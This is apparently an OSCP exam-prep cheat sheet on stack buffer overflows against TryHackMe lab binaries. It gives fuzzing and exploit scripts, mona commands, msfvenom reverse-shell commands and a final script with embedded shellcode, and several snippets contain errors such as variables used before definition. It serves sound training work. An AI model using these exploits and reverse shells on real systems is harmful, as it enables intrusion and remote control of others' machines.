BOF Cheatsheet

OSCP Stack Based Buffer Overflow Cheat Sheet

Preparation

After obtaining the vulnerable binary transfer it to your Windows machine and open it in Immunity Debugger.
Immunity will automatically pause the process, press **F9** to continue it.

During the process of developing your exploit you have to restart the binary a few times; you can easily do this in Immunity by pressing **CTRL+F2**.

Fuzzing

Depending on the software you might have to append or prepend some static string. For example the oscp.exe binary in the THM Buffer Overflow Prep room has 10 commands (OVERFLOW1 - OVERFLOW10), one of them has to be prepended to your payload so the application knows to which function your input should be passed.

The fuzzing process is required to find the exact offset to overflow the EIP; there are multiple ways to do so:

- Manually
- Manually (pattern_create)
- Automatically + pattern_create

Manually:
If the buffer is very small you can create a dictionary manually, e.g. `AAAABBBBCCCCDDDDEEEE...ZZZZ` and check what characters overwrites the EIP.

Manually (pattern_create):
The metasploit-framework has a tool called pattern_create.rb that can be used to generate a string with an unique pattern.

```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 500
```

This creates a 500-byte string with an unique pattern.
After overwriting the EIP with that string you can check the offset with:

```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x42424242
```

Replace `0x42424242` with the value currently stored in the EIP of the application.

Automatically + pattern_create:

If the buffer is quite big it might be a good idea to write a script to automatically find the broad range needed to crash the application and overwrite the EIP.

Example script:

```
import socket, sys, time


ip = '127.0.0.1'        # Change this
port = 9999             # Change this

buffer = 'A' * 100

while True:
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            data = bytes(buffer, 'latin-1')
            s.settimeout(5)
            s.connect((ip, port))
            #s.recv(1024)
            print('Fuzzing with {} bytes'.format(len(data)))
            s.send(data)
            s.recv(1024)
    except:
        print('Fuzzing crashed at {}'.format(len(data)))
        sys.exit(0)
    buffer += 'A' * 100
    time.sleep(1)
```

After finding the range e.g. 2400 adjust the script like the following:

```
import socket, sys


ip = '127.0.0.1'        # Change this
port = 9999             # Change this

buffer = 'A' * 2200
buffer += 'unique_string' # Replace with output from pattern_create
```

```
try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        data = bytes(buffer, 'latin-1')
        s.settimeout(5)
        s.connect((ip, port))
        #s.recv(1024)
        print('Sending payload'
        s.send(data)
        s.recv(1024)
except Exception as e:
    print(e)
    sys.exit(0)
```

Next, proceed like before and submit the value stored in EIP to pattern_offset.rb to find the exact offset + the amount of 'A's (in this case 2200).

Eliminating Bad Characters

Depending on the software there might be bad characters except `\x00` that mess with your shellcode.

Keep in mind that bad chars can affect the next byte as well or even the whole string! Because of that the second method might not be 100% accurate at the first run and might need some adjusting as well.

There are two ways to identify bad characters.

Method 1:
Create a payload similar to the following:

```
buffer = b'A' * 100
retn += b'B' * 4
byte_array +=
b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12
\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x
25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37
\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x
4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c
\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x
6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81
\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x
94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6
\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\x
b9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb
```

```
\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\x
de\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0
\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'

payload = buffer + retn + byte_array
```

Send the payload to the application and check the memory if the payload is complete (`\x01 - \xff`). If the string ends somewhere, let's say `\x4d` you can identify this as a bad character that terminated the string.
It is also possible that only a single character is missing but the string continues, if that's the case it is a bad char as well but does not effect the rest of the payload.

Create a bad char string in python:

```
for x in range(1, 256):
   print("\\x" + "{:02x}".format(x), end='')
```

Method 2 (Mona):

First create a bytearray from `\x01` to `\xff` in Immunity:
`!mona bytearray -b "\x00"`

After sending the payload containing all the characters take note of the address stored in ESP and use the following command to search for corruptions:

`!mona compare -f C:\bytearray.bin -a 0x0180FA18`

-a specifies the ESP address.

After doing so you can remove the identified bad characters from your script (keep in mind that e.g. `\x00` might affect `\x01` as well, this means `\x01` doesn't have to be a bad char) and create a new bytearray as well without these characters.
Repeat the whole process until mona returns "Unmodified" which means no bad chars were found.

Finding a Return Address

This can be done using mona:

Method 1:
`!mona modules`

This shows all the DLLs being used by the binary and the binary itself. It is important to find a DLL (or use the binary if the following applies) that is not ASLR/DEP/SafeSEH/etc. protected.

Next use the following to find pointers of the "jmp esp" instruction:
`!mona find -s "\xff\xe4" -m binary.exe`

If you do not specify -m it will look for this instruction in all the modules.

Method 2:
`!mona jmp -r esp -cpb "\x00"`
(You might have to add additional bad chars)

There are two ways to put the address in your python script.

Manually:
Usually the system is little endian so you have to reverse the address.
If you get `\x01\x02\x03\x04` write `\x04\x03\x02\x01` in your python script:

```
[...]
buffer = b'A' * 1978
retn += b'\x04\x03\x02\x01'
shellcode = b''

payload = buffer + retn + payload
[...]
```

struct.pack:

```
buffer = b'A' * 1034
retn = bytes(struct.pack('I', 0x625011af), 'latin-1')
shellcode = b''

payload = buffer + retn + shellcode
```

NOPs

Depending on your shellcode it is encoded and needs to unpack itself. For this process you need some additional space in memory which you can "allocate" with NOPs (`\x90`). NOP stands for No OPeration and simply does nothing.

You can easily do this by adding some NOPs between the return address and your payload, e.g.:

```
buffer = b'A' * 524
retn = b'\xf3\x12\x17\x31'
padding = b'\x90' * 16
shellcode = b'shellcode_goes_here'
```

```
payload = buffer + retn + padding + shellcode
```

Create Shellcode

Depending on the scenario you want to execute something locally (e.g. cmd.exe as nt authority\system) or get a reverse shell back to your system.

Windows PoC (local):
`msfvenom -p windows/exec CMD="calc.exe" -b "\x00" -f py EXITFUNC=thread`

Windows Reverse Shell:
`msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=53 -f py EXITFUNC=thread`

Linux Reverse Shell:
`msfvenom -p linux/x86/shell_reverse_tcp LHOST=tun0 LPORT=4545 -f py EXITFUNC=thread`

An alternative to msfvenom is the collection available at shell-storm.org.

Final Script (example)

```
import socket, sys

ip = '10.10.53.146'
port = 9999

buffer = b'A' * 524
retn += b'\xf3\x12\x17\x31'
padding += b'\x90' * 16

buf =  b""
buf += b"\xbb\xec\xa7\xfa\x35\xd9\xea\xd9\x74\x24\xf4\x58\x33"
buf += b"\xc9\xb1\x12\x31\x58\x12\x83\xc0\x04\x03\xb4\xa9\x18"
buf += b"\xc0\x75\x6d\x2b\xc8\x26\xd2\x87\x65\xca\x5d\xc6\xca"
buf += b"\xac\x90\x89\xb8\x69\x9b\xb5\x73\x09\x92\xb0\x72\x61"
buf += b"\x2f\x4a\x18\x4b\x47\x4e\x22\xba\x56\xc7\xc3\x0c\x3e"
buf += b"\x88\x52\x3f\x0c\x2b\xdc\x5e\xbf\xac\x8c\xc8\x2e\x82"
buf += b"\x43\x60\xc7\xf3\x8c\x12\x7e\x85\x30\x80\xd3\x1c\x57"
buf += b"\x94\xdf\xd3\x18"

payload = buffer + retn + padding + buf

try:
```

```
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(5)
        s.connect((ip, port))
        s.recv(1024)
        print('Sending buffer')
        s.send(payload)
        s.recv(1024)
except Exception as e:
    print(e)
    sys.exit(0)
```

Practice

Plattform	Name	Writeup
TryHackMe	Buffer Overflow Preb	nop-blog
TryHackMe	Brainpan 1	GH
TryHackMe	Gatekeeper	GH
TryHackMe (Paid)	Brainstorm	nop-blog
Exploit.education	Linux: Protostar	YouTube: LiveOverflow

My scripts for each step as well as PoCs can be found here